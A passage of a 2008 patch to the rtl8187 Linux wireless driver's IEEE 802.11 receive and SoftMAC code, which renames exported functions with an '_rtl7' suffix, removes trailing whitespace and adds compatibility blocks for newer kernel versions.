&ieee->last_frag_num; last_time = &ieee->last_packet_time; - + break; default: return 0; @@ -436,7 +506,7 @@ drop: // BUG_ON(!(fc & IEEE80211_FCTL_RETRY)); // printk("DUP\n"); - + return 1; } @@ -444,7 +514,7 @@ /* All received frames are sent to this function. @skb contains the frame in * IEEE 802.11 format, i.e., in the format it was sent over air. * This function is called only as a tasklet (software IRQ). */ -int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { struct net_device *dev = ieee->dev; @@ -481,9 +551,9 @@ type = WLAN_FC_GET_TYPE(fc); stype = WLAN_FC_GET_STYPE(fc); sc = le16_to_cpu(hdr->seq_ctl); - + frag = WLAN_GET_SEQ_FRAG(sc); - hdrlen = ieee80211_get_hdrlen(fc); + hdrlen = ieee80211_get_hdrlen_rtl7(fc); #ifdef NOT_YET #if WIRELESS_EXT > 15 @@ -501,12 +571,12 @@ } #endif /* IW_WIRELESS_SPY */ #endif /* WIRELESS_EXT > 15 */ - hostap_update_rx_stats(local->ap, hdr, rx_stats); + hostap_update_rx_stats_rtl7(local->ap, hdr, rx_stats); #endif #if WIRELESS_EXT > 15 if (ieee->iw_mode == IW_MODE_MONITOR) { - ieee80211_monitor_rx(ieee, skb, rx_stats); + ieee80211_monitor_rx_rtl7(ieee, skb, rx_stats); stats->rx_packets++; stats->rx_bytes += skb->len; return 1; @@ -529,7 +599,7 @@ * stations that do not support WEP key mapping). */ if (!(hdr->addr1[0] & 0x01) || local->bcrx_sta_key) - (void) hostap_handle_sta_crypto(local, hdr, &crypt, + (void) hostap_handle_sta_crypto_rtl7(local, hdr, &crypt, &sta); #endif @@ -555,7 +625,7 @@ if (skb->len < IEEE80211_DATA_HDR3_LEN) goto rx_dropped; - if (is_duplicate_packet(ieee, hdr)) + if (is_duplicate_packet_rtl7(ieee, hdr)) goto rx_dropped; @@ -573,9 +643,9 @@ goto rx_dropped; } #endif - - - if (ieee80211_rx_frame_mgmt(ieee, skb, rx_stats, type, stype)) + + + if (ieee80211_rx_frame_mgmt_rtl7(ieee, skb, rx_stats, type, stype)) goto rx_dropped; else goto rx_exit; @@ -583,7 +653,7 @@ /* Data frame - extract src/dst addresses */ - + switch (fc & (IEEE80211_FCTL_FROMDS | IEEE80211_FCTL_TODS)) { case IEEE80211_FCTL_FROMDS: memcpy(dst, hdr->addr1, ETH_ALEN); @@ -606,7 +676,7 @@ } #ifdef NOT_YET - if (hostap_rx_frame_wds(ieee, hdr, fc, &wds)) + if (hostap_rx_frame_wds_rtl7(ieee, hdr, fc, &wds)) goto rx_dropped; if (wds) { skb->dev = dev = wds; @@ -619,7 +689,7 @@ memcmp(hdr->addr2, ieee->assoc_ap_addr, ETH_ALEN) == 0) { /* Frame from BSSID of the AP for which we are a client */ skb->dev = dev = ieee->stadev; - stats = hostap_get_stats(dev); + stats = hostap_get_stats_rtl7(dev); from_assoc_ap = 1; } #endif @@ -630,7 +700,7 @@ if ((ieee->iw_mode == IW_MODE_MASTER || ieee->iw_mode == IW_MODE_REPEAT) && !from_assoc_ap) { - switch (hostap_handle_sta_rx(ieee, dev, skb, rx_stats, + switch (hostap_handle_sta_rx_rtl7(ieee, dev, skb, rx_stats, wds != NULL)) { case AP_RX_CONTINUE_NOT_AUTHORIZED: frame_authorized = 0; @@ -664,7 +734,7 @@ /* skb: hdr + (possibly fragmented, possibly encrypted) payload */ if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && - (keyidx = ieee80211_rx_frame_decrypt(ieee, skb, crypt)) < 0) + (keyidx = ieee80211_rx_frame_decrypt_rtl7(ieee, skb, crypt)) < 0) goto rx_dropped; hdr = (struct ieee80211_hdr *) skb->data; @@ -674,7 +744,7 @@ // ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && if ((frag != 0 || (fc & IEEE80211_FCTL_MOREFRAGS))) { int flen; - struct sk_buff *frag_skb = ieee80211_frag_cache_get(ieee, hdr); + struct sk_buff *frag_skb = ieee80211_frag_cache_get_rtl7(ieee, hdr); IEEE80211_DEBUG_FRAG("Rx Fragment received (%u)\n", frag); if (!frag_skb) { @@ -694,7 +764,7 @@ printk(KERN_WARNING "%s: host decrypted and " "reassembled frame did not fit skb\n", dev->name); - ieee80211_frag_cache_invalidate(ieee, hdr); + ieee80211_frag_cache_invalidate_rtl7(ieee, hdr); goto rx_dropped; } @@ -722,19 +792,19 @@ * delivered, so remove skb from fragment cache */ skb = frag_skb; hdr = (struct ieee80211_hdr *) skb->data; - ieee80211_frag_cache_invalidate(ieee, hdr); + ieee80211_frag_cache_invalidate_rtl7(ieee, hdr); } /* skb: hdr + (possible reassembled) full MSDU payload; possibly still * encrypted/authenticated */ if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && - ieee80211_rx_frame_decrypt_msdu(ieee, skb, keyidx, crypt)) + ieee80211_rx_frame_decrypt_msdu_rtl7(ieee, skb, keyidx, crypt)) goto rx_dropped; hdr = (struct ieee80211_hdr *) skb->data; if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep) { if (/*ieee->ieee802_1x &&*/ - ieee80211_is_eapol_frame(ieee, skb)) { + ieee80211_is_eapol_frame_rtl7(ieee, skb)) { #ifdef CONFIG_IEEE80211_DEBUG /* pass unencrypted EAPOL frames even if encryption is * configured */ @@ -763,7 +833,7 @@ #endif if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep && - !ieee80211_is_eapol_frame(ieee, skb)) { + !ieee80211_is_eapol_frame_rtl7(ieee, skb)) { IEEE80211_DEBUG_DROP( "dropped unencrypted RX data " "frame from " MAC_FMT @@ -861,7 +931,12 @@ if (skb2 != NULL) { /* send to wireless media */ skb2->protocol = __constant_htons(ETH_P_802_3); +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,22)) skb2->mac.raw = skb2->nh.raw = skb2->data; +#else + skb_reset_mac_header(skb2); + skb_reset_network_header(skb2); +#endif /* skb2->nh.raw = skb2->data + ETH_HLEN; */ skb2->dev = dev; dev_queue_xmit(skb2); @@ -896,7 +971,7 @@ #define MGMT_FRAME_FIXED_PART_LENGTH 0x24 -static inline int ieee80211_is_ofdm_rate(u8 rate) +static inline int ieee80211_is_ofdm_rate_rtl7(u8 rate) { switch (rate & ~IEEE80211_BASIC_RATE_MASK) { case IEEE80211_OFDM_RATE_6MB: @@ -913,7 +988,7 @@ } -static inline int ieee80211_network_init( +static inline int ieee80211_network_init_rtl7( struct ieee80211_device *ieee, struct ieee80211_probe_response *beacon, struct ieee80211_network *network, @@ -964,7 +1039,7 @@ switch (info_element->id) { case MFIE_TYPE_SSID: - if (ieee80211_is_empty_essid(info_element->data, + if (ieee80211_is_empty_essid_rtl7(info_element->data, info_element->len)) { network->flags |= NETWORK_EMPTY_ESSID; break; @@ -991,7 +1066,7 @@ #ifdef CONFIG_IEEE80211_DEBUG p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->rates[i]); #endif - if (ieee80211_is_ofdm_rate(info_element->data[i])) { + if (ieee80211_is_ofdm_rate_rtl7(info_element->data[i])) { network->flags |= NETWORK_HAS_OFDM; if (info_element->data[i] & IEEE80211_BASIC_RATE_MASK) @@ -1014,7 +1089,7 @@ #ifdef CONFIG_IEEE80211_DEBUG p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->rates[i]); #endif - if (ieee80211_is_ofdm_rate(info_element->data[i])) { + if (ieee80211_is_ofdm_rate_rtl7(info_element->data[i])) { network->flags |= NETWORK_HAS_OFDM; if (info_element->data[i] & IEEE80211_BASIC_RATE_MASK) @@ -1043,47 +1118,47 @@ break; case MFIE_TYPE_TIM: - - if(info_element->len < 4) + + if(info_element->len < 4) break; - + network->dtim_period = info_element->data[1]; - + if(ieee->state != IEEE80211_LINKED) break; - - network->last_dtim_sta_time[0] = stats->mac_time[0]; + + network->last_dtim_sta_time[0] = stats->mac_time[0]; network->last_dtim_sta_time[1] = stats->mac_time[1]; - + network->dtim_data = IEEE80211_DTIM_VALID; - - if(info_element->data[0] != 0) + + if(info_element->data[0] != 0) break; - + if(info_element->data[2] & 1) network->dtim_data |= IEEE80211_DTIM_MBCAST; - + offset = (info_element->data[2] >> 1)*2; - - //printk("offset1:%x aid:%x\n",offset, ieee->assoc_id); - - if(ieee->assoc_id < offset || + + //printk("offset1:%x aid:%x\n",offset, ieee->assoc_id); + + if(ieee->assoc_id < offset || ieee->assoc_id > 8*(offset + info_element->len -3)) - + break; - - + + offset = offset + ieee->assoc_id / 8;// + ((aid % 8)? 0 : 1) ; - - // printk("offset:%x data:%x, ucast:%d\n", offset, + + // printk("offset:%x data:%x, ucast:%d\n", offset, // info_element->data[3+offset] , // info_element->data[3+offset] & (1<<(ieee->assoc_id%8))); - + if(info_element->data[3+offset] & (1<<(ieee->assoc_id%8))) network->dtim_data |= IEEE80211_DTIM_UCAST; - + break; - + case MFIE_TYPE_IBSS_SET: IEEE80211_DEBUG_SCAN("MFIE_TYPE_IBSS_SET: ignored\n"); break; @@ -1115,7 +1190,7 @@ memcpy(network->rsn_ie, info_element, network->rsn_ie_len); break; - + default: IEEE80211_DEBUG_SCAN("unsupported IE %d\n", info_element->id); @@ -1147,7 +1222,7 @@ return 1; } - if (ieee80211_is_empty_essid(network->ssid, network->ssid_len)) + if (ieee80211_is_empty_essid_rtl7(network->ssid, network->ssid_len)) network->flags |= NETWORK_EMPTY_ESSID; memcpy(&network->stats, stats, sizeof(network->stats)); @@ -1155,24 +1230,24 @@ return 0; } -static inline int is_same_network(struct ieee80211_network *src, +static inline int is_same_network_rtl7(struct ieee80211_network *src, struct ieee80211_network *dst) { /* A network is only a duplicate if the channel, BSSID, ESSID - * and the capability field (in particular IBSS and BSS) all match. + * and the capability field (in particular IBSS and BSS) all match. * We treat all with the same BSSID and channel * as one network */ return ((src->ssid_len == dst->ssid_len) && (src->channel == dst->channel) && !memcmp(src->bssid, dst->bssid, ETH_ALEN) && !memcmp(src->ssid, dst->ssid, src->ssid_len) && - ((src->capability & WLAN_CAPABILITY_IBSS) == + ((src->capability & WLAN_CAPABILITY_IBSS) == (dst->capability & WLAN_CAPABILITY_IBSS)) && - ((src->capability & WLAN_CAPABILITY_BSS) == + ((src->capability & WLAN_CAPABILITY_BSS) == (dst->capability & WLAN_CAPABILITY_BSS))); } -static inline void update_network(struct ieee80211_network *dst, +static inline void update_network_rtl7(struct ieee80211_network *dst, struct ieee80211_network *src) { memcpy(&dst->stats, &src->stats, sizeof(struct ieee80211_rx_stats)); @@ -1194,7 +1269,7 @@ dst->dtim_data = src->dtim_data; dst->last_dtim_sta_time[0] = src->last_dtim_sta_time[0]; dst->last_dtim_sta_time[1] = src->last_dtim_sta_time[1]; - + memcpy(dst->wpa_ie, src->wpa_ie, src->wpa_ie_len); dst->wpa_ie_len = src->wpa_ie_len; memcpy(dst->rsn_ie, src->rsn_ie, src->rsn_ie_len); @@ -1204,7 +1279,7 @@ /* dst->last_associate is not overwritten */ } -static inline void ieee80211_process_probe_response( +static inline void ieee80211_process_probe_response_rtl7( struct ieee80211_device *ieee, struct ieee80211_probe_response *beacon, struct ieee80211_rx_stats *stats) @@ -1239,7 +1314,7 @@ (beacon->capability & (1<<0x1)) ? '1' : '0', (beacon->capability & (1<<0x0)) ? '1' : '0'); - if (ieee80211_network_init(ieee, beacon, &network, stats)) { + if (ieee80211_network_init_rtl7(ieee, beacon, &network, stats)) { IEEE80211_DEBUG_SCAN("Dropped '%s' (" MAC_FMT ") via %s.\n", escape_essid(info_element->data, info_element->len), @@ -1261,12 +1336,12 @@ * already there. */ spin_lock_irqsave(&ieee->lock, flags); - - if(is_same_network(&ieee->current_network, &network)) - update_network(&ieee->current_network, &network); - + + if(is_same_network_rtl7(&ieee->current_network, &network)) + update_network_rtl7(&ieee->current_network, &network); + list_for_each_entry(target, &ieee->network_list, list) { - if (is_same_network(target, &network)) + if (is_same_network_rtl7(target, &network)) break; if ((oldest == NULL) || @@ -1306,7 +1381,7 @@ memcpy(target, &network, sizeof(*target)); list_add_tail(&target->list, &ieee->network_list); if(ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) - ieee80211_softmac_new_net(ieee,&network); + ieee80211_softmac_new_net_rtl7(ieee,&network); } else { IEEE80211_DEBUG_SCAN("Updating '%s' (" MAC_FMT ") via %s.\n", escape_essid(target->ssid, @@ -1315,39 +1390,39 @@ WLAN_FC_GET_STYPE(beacon->header.frame_ctl) == IEEE80211_STYPE_PROBE_RESP ? "PROBE RESPONSE" : "BEACON"); - + /* we have an entry and we are going to update it. But this entry may - * be already expired. In this case we do the same as we found a new + * be already expired. In this case we do the same as we found a new * net and call the new_net handler */ renew = !time_after(target->last_scanned + ieee->scan_age, jiffies); - update_network(target, &network); + update_network_rtl7(target, &network); if(renew && (ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE)) - ieee80211_softmac_new_net(ieee,&network); + ieee80211_softmac_new_net_rtl7(ieee,&network); } spin_unlock_irqrestore(&ieee->lock, flags); } -void ieee80211_rx_mgt(struct ieee80211_device *ieee, +void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats) { switch (WLAN_FC_GET_STYPE(header->frame_ctl)) { - + case IEEE80211_STYPE_BEACON: IEEE80211_DEBUG_MGMT("received BEACON (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); IEEE80211_DEBUG_SCAN("Beacon\n"); - ieee80211_process_probe_response( + ieee80211_process_probe_response_rtl7( ieee, (struct ieee80211_probe_response *)header, stats); break; - + case IEEE80211_STYPE_PROBE_RESP: IEEE80211_DEBUG_MGMT("received PROBE RESPONSE (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); IEEE80211_DEBUG_SCAN("Probe response\n"); - ieee80211_process_probe_response( + ieee80211_process_probe_response_rtl7( ieee, (struct ieee80211_probe_response *)header, stats); break; @@ -1355,5 +1430,5 @@ } -EXPORT_SYMBOL(ieee80211_rx_mgt); -EXPORT_SYMBOL(ieee80211_rx); +EXPORT_SYMBOL(ieee80211_rx_mgt_rtl7); +EXPORT_SYMBOL(ieee80211_rx_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_softmac.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_softmac.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_softmac.c 2006-06-19 03:27:33.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_softmac.c 2008-01-30 17:38:11.000000000 +0100 @@ -1,14 +1,14 @@ /* IEEE 802.11 SoftMAC layer * Copyright (c) 2005 Andrea Merello * - * Mostly extracted from the rtl8180-sa2400 driver for the + * Mostly extracted from the rtl8180-sa2400 driver for the * in-kernel generic ieee802.11 stack. * * Few lines might be stolen from other part of the ieee80211 * stack. Copyright who own it's copyright * * WPA code stolen from the ipw2200 driver. - * Copyright who own it's copyright. + * Copyright who own it's copyright. * * released under the GPL */ @@ -20,12 +20,12 @@ #include #include -short ieee80211_is_54g(struct ieee80211_network net) +short ieee80211_is_54g_rtl7(struct ieee80211_network net) { return ((net.rates_ex_len > 0) || (net.rates_len > 4)); } -short ieee80211_is_shortslot(struct ieee80211_network net) +short ieee80211_is_shortslot_rtl7(struct ieee80211_network net) { return (net.capability & WLAN_CAPABILITY_SHORT_SLOT); } @@ -34,28 +34,28 @@ * tag and the EXTENDED RATE MFIE tag if needed. * It encludes two bytes per tag for the tag itself and its len */ -unsigned int ieee80211_MFIE_rate_len(struct ieee80211_device *ieee) +unsigned int ieee80211_MFIE_rate_len_rtl7(struct ieee80211_device *ieee) { unsigned int rate_len = 0; - + if (ieee->modulation & IEEE80211_CCK_MODULATION) rate_len = IEEE80211_CCK_RATE_LEN + 2; - + if (ieee->modulation & IEEE80211_OFDM_MODULATION) - + rate_len += IEEE80211_OFDM_RATE_LEN + 2; - + return rate_len; } -/* pleace the MFIE rate, tag to the memory (double) poined. +/* pleace the MFIE rate, tag to the memory (double) poined. * Then it updates the pointer so that * it points after the new MFIE tag added. - */ -void ieee80211_MFIE_Brate(struct ieee80211_device *ieee, u8 **tag_p) + */ +void ieee80211_MFIE_Brate_rtl7(struct ieee80211_device *ieee, u8 **tag_p) { - u8 *tag = *tag_p; - + u8 *tag = *tag_p; + if (ieee->modulation & IEEE80211_CCK_MODULATION){ *tag++ = MFIE_TYPE_RATES; *tag++ = 4; @@ -64,17 +64,17 @@ *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_5MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_11MB; } - + /* We may add an option for custom rates that specific HW might support */ *tag_p = tag; } -void ieee80211_MFIE_Grate(struct ieee80211_device *ieee, u8 **tag_p) -{ - u8 *tag = *tag_p; - +void ieee80211_MFIE_Grate_rtl7(struct ieee80211_device *ieee, u8 **tag_p) +{ + u8 *tag = *tag_p; + if (ieee->modulation & IEEE80211_OFDM_MODULATION){ - + *tag++ = MFIE_TYPE_RATES_EX; *tag++ = 8; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_6MB; @@ -85,73 +85,73 @@ *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_36MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_48MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_54MB; - + } - + /* We may add an option for custom rates that specific HW might support */ *tag_p = tag; } -void enqueue_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb) +void enqueue_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { int nh; nh = (ieee->mgmt_queue_head +1) % MGMT_QUEUE_NUM; - + /* * if the queue is full but we have newer frames then * just overwrites the oldest. - * + * * if (nh == ieee->mgmt_queue_tail) * return -1; - */ + */ ieee->mgmt_queue_head = nh; ieee->mgmt_queue_ring[nh] = skb; - + //return 0; } -struct sk_buff *dequeue_mgmt(struct ieee80211_device *ieee) +struct sk_buff *dequeue_mgmt_rtl7(struct ieee80211_device *ieee) { struct sk_buff *ret; - + if(ieee->mgmt_queue_tail == ieee->mgmt_queue_head) return NULL; - + ret = ieee->mgmt_queue_ring[ieee->mgmt_queue_tail]; - - ieee->mgmt_queue_tail = + + ieee->mgmt_queue_tail = (ieee->mgmt_queue_tail+1) % MGMT_QUEUE_NUM; - + return ret; } -void init_mgmt_queue(struct ieee80211_device *ieee) +void init_mgmt_queue_rtl7(struct ieee80211_device *ieee) { ieee->mgmt_queue_tail = ieee->mgmt_queue_head = 0; } -void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl); +void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl); -inline void softmac_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) +inline void softmac_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee) { unsigned long flags; short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; struct ieee80211_hdr_3addr *header= (struct ieee80211_hdr_3addr *) skb->data; - - + + spin_lock_irqsave(&ieee->lock, flags); - + /* called with 2nd param 0, no mgmt lock required */ - ieee80211_sta_wakeup(ieee,0); - + ieee80211_sta_wakeup_rtl7(ieee,0); + if(single){ - + if(ieee->queue_stop){ - - enqueue_mgmt(ieee,skb); - + + enqueue_mgmt_rtl7(ieee,skb); + }else{ header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); @@ -159,119 +159,119 @@ ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + /* avoid watchdog triggers */ ieee->dev->trans_start = jiffies; ieee->softmac_data_hard_start_xmit(skb,ieee->dev,ieee->basic_rate); } - + spin_unlock_irqrestore(&ieee->lock, flags); }else{ spin_unlock_irqrestore(&ieee->lock, flags); spin_lock_irqsave(&ieee->mgmt_tx_lock, flags); - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + ieee->softmac_hard_start_xmit(skb,ieee->dev); - + spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags); } } -inline void softmac_ps_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) +inline void softmac_ps_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee) { - + short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; struct ieee80211_hdr_3addr *header = (struct ieee80211_hdr_3addr *) skb->data; - - + + if(single){ - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + /* avoid watchdog triggers */ ieee->dev->trans_start = jiffies; ieee->softmac_data_hard_start_xmit(skb,ieee->dev,ieee->basic_rate); - + }else{ - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; ieee->softmac_hard_start_xmit(skb,ieee->dev); - + } } -inline struct sk_buff *ieee80211_probe_req(struct ieee80211_device *ieee) +inline struct sk_buff *ieee80211_probe_req_rtl7(struct ieee80211_device *ieee) { unsigned int len,rate_len; u8 *tag; struct sk_buff *skb; struct ieee80211_probe_request *req; - + len = ieee->current_network.ssid_len; - - rate_len = ieee80211_MFIE_rate_len(ieee); - + + rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); + skb = dev_alloc_skb(sizeof(struct ieee80211_probe_request) + 2 + len + rate_len); - - if (!skb) + + if (!skb) return NULL; - + req = (struct ieee80211_probe_request *) skb_put(skb,sizeof(struct ieee80211_probe_request)); req->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_PROBE_REQ); - req->header.duration_id = 0; //FIXME: is this OK ? - + req->header.duration_id = 0; //FIXME: is this OK ? + memset(req->header.addr1, 0xff, ETH_ALEN); memcpy(req->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memset(req->header.addr3, 0xff, ETH_ALEN); - + tag = (u8 *) skb_put(skb,len+2+rate_len); - + *tag++ = MFIE_TYPE_SSID; *tag++ = len; memcpy(tag, ieee->current_network.ssid, len); tag += len; - - ieee80211_MFIE_Brate(ieee,&tag); - ieee80211_MFIE_Grate(ieee,&tag); + + ieee80211_MFIE_Brate_rtl7(ieee,&tag); + ieee80211_MFIE_Grate_rtl7(ieee,&tag); return skb; } -struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee); -void ieee80211_send_beacon(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee); +void ieee80211_send_beacon_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; - - unsigned long flags; - - skb = ieee80211_get_beacon_(ieee); + + unsigned long flags; + + skb = ieee80211_get_beacon__rtl7(ieee); if (skb){ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->softmac_stats.tx_beacons++; } - ieee->beacon_timer.expires = jiffies + + ieee->beacon_timer.expires = jiffies + (MSECS( ieee->current_network.beacon_interval -5)); - + spin_lock_irqsave(&ieee->beacon_lock,flags); if(ieee->beacon_txing) add_timer(&ieee->beacon_timer); @@ -279,57 +279,57 @@ } -void ieee80211_send_beacon_cb(unsigned long _ieee) +void ieee80211_send_beacon_cb_rtl7(unsigned long _ieee) { struct ieee80211_device *ieee = (struct ieee80211_device *) _ieee; - ieee80211_send_beacon(ieee); + ieee80211_send_beacon_rtl7(ieee); } -void ieee80211_send_probe(struct ieee80211_device *ieee) +void ieee80211_send_probe_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; - - skb = ieee80211_probe_req(ieee); + + skb = ieee80211_probe_req_rtl7(ieee); if (skb){ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->softmac_stats.tx_probe_rq++; } } -void ieee80211_send_probe_requests(struct ieee80211_device *ieee) +void ieee80211_send_probe_requests_rtl7(struct ieee80211_device *ieee) { if (ieee->active_scan && (ieee->softmac_features & IEEE_SOFTMAC_PROBERQ)){ - ieee80211_send_probe(ieee); - ieee80211_send_probe(ieee); + ieee80211_send_probe_rtl7(ieee); + ieee80211_send_probe_rtl7(ieee); } } /* this performs syncro scan blocking the caller until all channels - * in the allowed channel map has been checked. + * in the allowed channel map has been checked. */ -void ieee80211_softmac_scan_syncro(struct ieee80211_device *ieee) +void ieee80211_softmac_scan_syncro_rtl7(struct ieee80211_device *ieee) { short ch = 0; - + down(&ieee->scan_sem); - + while(1) { - + do{ ch++; - if (ch > MAX_CHANNEL_NUMBER) + if (ch > MAX_CHANNEL_NUMBER) goto out; /* scan completed */ - + }while(!ieee->channel_map[ch]); - + /* this fuction can be called in two situations * 1- We have switched to ad-hoc mode and we are * performing a complete syncro scan before conclude - * there are no interesting cell and to create a - * new one. In this case the link state is + * there are no interesting cell and to create a + * new one. In this case the link state is * IEEE80211_NOLINK until we found an interesting cell. * If so the ieee8021_new_net, called by the RX path * will set the state to IEEE80211_LINKED, so we stop @@ -342,24 +342,24 @@ * not filter RX frames and the channel is changing. * So the only situation in witch are interested is to check * if the state become LINKED because of the #1 situation - */ - + */ + if (ieee->state == IEEE80211_LINKED) goto out; - + ieee->set_chan(ieee->dev, ch); - - ieee80211_send_probe_requests(ieee); - + + ieee80211_send_probe_requests_rtl7(ieee); + /* this prevent excessive time wait when we * need to wait for a syncro scan to end.. - */ + */ if (ieee->sync_scan_hurryup) goto out; msleep_interruptible_rtl(IEEE80211_SOFTMAC_SCAN_TIME); - + } out: ieee->sync_scan_hurryup = 0; @@ -370,43 +370,49 @@ void ieee80211_softmac_scan(struct ieee80211_device *ieee) { short watchdog = 0; - + do{ - ieee->current_network.channel = + ieee->current_network.channel = (ieee->current_network.channel + 1) % MAX_CHANNEL_NUMBER; - if (watchdog++ > MAX_CHANNEL_NUMBER) + if (watchdog++ > MAX_CHANNEL_NUMBER) return; /* no good chans */ - + }while(!ieee->channel_map[ieee->current_network.channel]); - + schedule_work(&ieee->softmac_scan_wq); } #endif -void ieee80211_softmac_scan_wq(struct ieee80211_device *ieee) -{ - down(&ieee->scan_sem); - +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_softmac_scan_wq_rtl7(struct work_struct *work) +{ + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, softmac_scan_wq); +#else +void ieee80211_softmac_scan_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif short watchdog = 0; - + down(&ieee->scan_sem); + do{ - ieee->current_network.channel = + ieee->current_network.channel = (ieee->current_network.channel + 1) % MAX_CHANNEL_NUMBER; - if (watchdog++ > MAX_CHANNEL_NUMBER) + if (watchdog++ > MAX_CHANNEL_NUMBER) goto out; /* no good chans */ - + }while(!ieee->channel_map[ieee->current_network.channel]); - + if (ieee->scanning == 0 ) goto out; - + ieee->set_chan(ieee->dev, ieee->current_network.channel); - ieee80211_send_probe_requests(ieee); + ieee80211_send_probe_requests_rtl7(ieee); -#if 0 +#if 0 ieee->.expires = jiffies + (IEEE80211_SOFTMAC_SCAN_TIME); - if (ieee->scanning == 1) + if (ieee->scanning == 1) add_timer(&ieee->scan_timer); #endif queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, IEEE80211_SOFTMAC_SCAN_TIME); @@ -419,7 +425,7 @@ { unsigned long flags; struct ieee80211_device *ieee = (struct ieee80211_device *)_dev; - + spin_lock_irqsave(&ieee->lock, flags); ieee80211_softmac_scan(ieee); spin_unlock_irqrestore(&ieee->lock, flags); @@ -427,19 +433,19 @@ #endif -void ieee80211_beacons_start(struct ieee80211_device *ieee) +void ieee80211_beacons_start_rtl7(struct ieee80211_device *ieee) { - unsigned long flags; + unsigned long flags; spin_lock_irqsave(&ieee->beacon_lock,flags); ieee->beacon_txing = 1; - ieee80211_send_beacon(ieee); - + ieee80211_send_beacon_rtl7(ieee); + spin_unlock_irqrestore(&ieee->beacon_lock,flags); } -void ieee80211_beacons_stop(struct ieee80211_device *ieee) +void ieee80211_beacons_stop_rtl7(struct ieee80211_device *ieee) { unsigned long flags; @@ -453,111 +459,111 @@ } -void ieee80211_stop_send_beacons(struct ieee80211_device *ieee) +void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee) { if(ieee->stop_send_beacons) ieee->stop_send_beacons(ieee->dev); if (ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_stop(ieee); + ieee80211_beacons_stop_rtl7(ieee); } -void ieee80211_start_send_beacons(struct ieee80211_device *ieee) +void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee) { if(ieee->start_send_beacons) ieee->start_send_beacons(ieee->dev); if(ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_start(ieee); + ieee80211_beacons_start_rtl7(ieee); } -void ieee80211_softmac_stop_scan(struct ieee80211_device *ieee) +void ieee80211_softmac_stop_scan_rtl7(struct ieee80211_device *ieee) { -// unsigned long flags; - +// unsigned long flags; + //ieee->sync_scan_hurryup = 1; - + down(&ieee->scan_sem); // spin_lock_irqsave(&ieee->lock, flags); - + if (ieee->scanning == 1){ ieee->scanning = 0; //del_timer_sync(&ieee->scan_timer); cancel_delayed_work(&ieee->softmac_scan_wq); } - + // spin_unlock_irqrestore(&ieee->lock, flags); up(&ieee->scan_sem); } -void 